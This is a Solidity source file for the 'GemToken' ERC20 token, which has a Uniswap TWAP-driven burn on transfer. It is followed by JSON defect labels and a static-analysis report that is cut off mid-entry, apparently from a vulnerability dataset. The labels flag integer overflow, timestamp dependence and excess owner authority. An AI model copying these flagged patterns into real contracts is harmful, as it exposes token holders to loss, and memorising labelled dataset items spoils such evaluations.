* Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // divide a UQ112x112 by a uint112, returning a UQ112x112 function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // equivalent to encode(numerator).div(denominator) function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } } // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } //import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol"; library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } } contract GemToken is ERC20, Ownable, Pausable { using SafeMath for uint256; /// @notice dummy uniswap listing rate uint256 public constant INITIAL_TOKENS_PER_ETH = 100 * 1 ether; /// @notice max burn percentage uint256 public constant BURN_PCT = 48; /// @notice min burn percentage uint256 public constant MIN_BURN_PCT = 30; /// @notice WETH token address address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); /// @notice self-explanatory address public constant uniswapV2Factory = address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); address public immutable initialDistributionAddress; /// @notice liquidity sources (e.g. UniswapV2Router) mapping(address => bool) public whitelistedSenders; /// @notice uniswap pair for GEM/ETH address public uniswapPair; /// @notice Whether or not this token is first in uniswap GEM<>ETH pair bool public isThisToken0; /// @notice last TWAP update time uint32 public blockTimestampLast; /// @notice last TWAP cumulative price uint256 public priceCumulativeLast; /// @notice last TWAP average price uint256 public priceAverageLast; /// @notice TWAP min delta (10-min) uint256 public minDeltaTwap; event TwapUpdated(uint256 priceCumulativeLast, uint256 blockTimestampLast, uint256 priceAverageLast); constructor( ) public Ownable() ERC20("gem.cash", "GEM") { setMinDeltaTwap(120); initialDistributionAddress = 0x54A112BD627DD7C26E219bf70CaeA19e5a4B7b8C; _distributeTokens(0x54A112BD627DD7C26E219bf70CaeA19e5a4B7b8C); _initializePair(); _pause(); } modifier whenNotPausedOrInitialDistribution() { require(!paused() || msg.sender == initialDistributionAddress, "!paused && !initialDistributionAddress"); _; } modifier onlyInitialDistributionAddress() { require(msg.sender == initialDistributionAddress, "!initialDistributionAddress"); _; } /** * @dev Unpauses all transfers from the distribution address (initial liquidity pool). */ function unpause() external virtual onlyInitialDistributionAddress { super._unpause(); } /** * @dev Min time elapsed before twap is updated. */ function setMinDeltaTwap(uint256 _minDeltaTwap) public onlyOwner { minDeltaTwap = _minDeltaTwap; } /** * @dev Sets a whitelisted sender (liquidity sources mostly). */ function setWhitelistedSender(address _address, bool _whitelisted) public onlyOwner { whitelistedSenders[_address] = _whitelisted; } function _distributeTokens( address _initialDistributionAddress ) internal { _mint(address(_initialDistributionAddress), 800 * 1e18); setWhitelistedSender(_initialDistributionAddress, true); } function _initializePair() internal { (address token0, address token1) = UniswapV2Library.sortTokens(address(this), address(WETH)); isThisToken0 = (token0 == address(this)); uniswapPair = UniswapV2Library.pairFor(uniswapV2Factory, token0, token1); setWhitelistedSender(uniswapPair, true); setWhitelistedSender(uniswapV2Factory, true); } function _isWhitelistedSender(address _sender) internal view returns (bool) { return whitelistedSenders[_sender]; } function _updateTwap() internal virtual returns (uint256) { (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswapPair); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > minDeltaTwap) { uint256 priceCumulative = isThisToken0 ? price1Cumulative : price0Cumulative; // cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112( uint224((priceCumulative - priceCumulativeLast) / timeElapsed) ); priceCumulativeLast = priceCumulative; blockTimestampLast = blockTimestamp; priceAverageLast = FixedPoint.decode144(FixedPoint.mul(priceAverage, 1 ether)); emit TwapUpdated(priceCumulativeLast, blockTimestampLast, priceAverageLast); } return priceAverageLast; } function _transfer(address sender, address recipient, uint256 amount) internal virtual override whenNotPausedOrInitialDistribution() { if (!_isWhitelistedSender(sender)) { uint256 scaleFactor = 1e18; uint256 currentAmountOutPerEth = _updateTwap(); uint256 currentBurnPct = BURN_PCT.mul(scaleFactor); if (currentAmountOutPerEth < INITIAL_TOKENS_PER_ETH) { // 50 / (INITIAL_TOKENS_PER_ETH / currentAmountOutPerEth) scaleFactor = 1e9; currentBurnPct = currentBurnPct.mul(scaleFactor) .div(INITIAL_TOKENS_PER_ETH.mul(1e18) .div(currentAmountOutPerEth)); uint256 minBurnPct = MIN_BURN_PCT * scaleFactor / 10; uint256 maxBurnPct = BURN_PCT * scaleFactor; currentBurnPct = currentBurnPct > minBurnPct ? currentBurnPct > maxBurnPct ? maxBurnPct : currentBurnPct : minBurnPct; } uint256 totalBurnAmount = amount.mul(currentBurnPct).div(100).div(scaleFactor); super._burn(sender, totalBurnAmount); amount = amount.sub(totalBurnAmount); } super._transfer(sender, recipient, amount); } function getCurrentTwap() public view returns (uint256) { (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(uniswapPair); uint32 timeElapsed = blockTimestamp - blockTimestampLast; uint256 priceCumulative = isThisToken0 ? price1Cumulative : price0Cumulative; FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112( uint224((priceCumulative - priceCumulativeLast) / timeElapsed) ); return FixedPoint.decode144(FixedPoint.mul(priceAverage, 1 ether)); } function getLastTwap() public view returns (uint256) { return priceAverageLast; } }
[{"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["967", "70", "82", "55"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1197", "1203", "1251", "1255", "1234", "1235", "1086"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["1034"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [456, 453, 454, 455]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"GemToken.sol": [354]}}, {"check": "weak-prng", "impact": "High", "confidence": "Medium", "lines": {"GemToken.sol": [1034]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [374, 375, 376, 377, 378, 379, 380]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [425, 426, 427]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [1018, 1019, 1020]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [480, 478, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [504, 505, 506, 507]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [493, 494, 495, 496, 497, 498, 499, 500, 501, 502]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [1000, 997, 998, 999]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [320, 321, 322, 319]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [482, 483, 484]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [992, 993, 994]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [987, 988, 989]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [435, 436, 437, 438]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [898, 899, 900]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [24, 25, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [304, 305, 303]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [512, 509, 510, 511]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [352, 353, 354, 355, 356, 347, 348, 349, 350, 351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [410, 411, 412]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"GemToken.sol": [400, 401, 402]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"GemToken.sol": [1239]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [763, 764, 765, 766, 767]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [1264, 1262, 1263]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [80, 77, 78, 79]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [701, 702, 703]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [800, 801, 802, 803]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [684, 685, 686]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [715, 716, 717]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [728, 729, 730, 727]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [58, 59, 60]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [784, 781, 782, 783]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [86, 87, 88, 89, 90]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [676, 677, 678]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [708, 709, 710]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"GemToken.sol": [746, 747, 748, 749]}}, {"check": "external-function", "impact": 